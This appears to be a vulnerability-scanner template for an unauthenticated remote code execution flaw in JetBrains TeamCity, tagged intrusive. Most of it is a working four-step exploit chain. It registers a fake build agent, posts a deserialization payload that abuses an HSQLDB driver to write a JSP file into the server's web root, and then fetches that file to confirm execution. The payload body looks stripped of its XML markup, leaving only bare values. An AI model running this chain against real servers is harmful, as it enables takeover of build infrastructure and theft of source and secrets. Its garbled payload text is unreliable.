id: CVE-2026-63077
info:
name: "JetBrains TeamCity - Insecure Deserialization"
author: vedas-arpsyndicate
severity: critical
description: |
In JetBrains TeamCity before 2026.1.3, 2025.11.7 unauthenticated remote code execution was possible via the
agent polling protocol
reference:
- https://www.exploit.observer/?keyword=CVE-2026-63077&match=exact
- https://subdomain.center/?engine=ammonites&keyword=jetbrains&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-63077
cwe-id: CWE-502
metadata:
verified: false
tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "TeamCity", "teamcity", "JetBrains")'
condition: and
internal: true
- raw:
- |
POST /app/agents/v1/register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
extractors:
- type: regex
name: session
part: header
group: 1
regex:
- '(?i)teamcity-agentsessionid: ([^\r\n]+)'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(to_lower(header), "teamcity-agentsessionid:")'
condition: and
internal: true
- raw:
- |
POST /app/agents/v1/commands/error HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
TeamCity-AgentSessionId: {{session}}
TeamCity-AgentCommandId: 123456
n1
-1
true
org.hsqldb.jdbc.JDBCDriver
true
8
8
0
0
-1
false
false
-1
false
true
false
-1
3
1800000
-1
org.apache.commons.pool2.impl.DefaultEvictionPolicy
false
jdbc:hsqldb:mem:ruqemf{{randstr}}
SA
-1
CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))
INSERT INTO TN{{randstr}} VALUES ('<p><%=7*6%></p>PD-TP-CONFIRMED')
SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'
false
-1
true
true
true
false
false
false
false
n2
0
false
false
2
3
0
2003000
2.3.0
0
false
false
0
false
false
0
true
false
false
true
n3
connection
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 500'
internal: true
- raw:
- |
GET /pd-tp-{{randstr}}.jspws HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PD-TP-CONFIRMED"
- type: word
part: body
words:
- "<%=7*6%>"
negative: true
- type: status
status:
- 200
- type: status
status:
- 200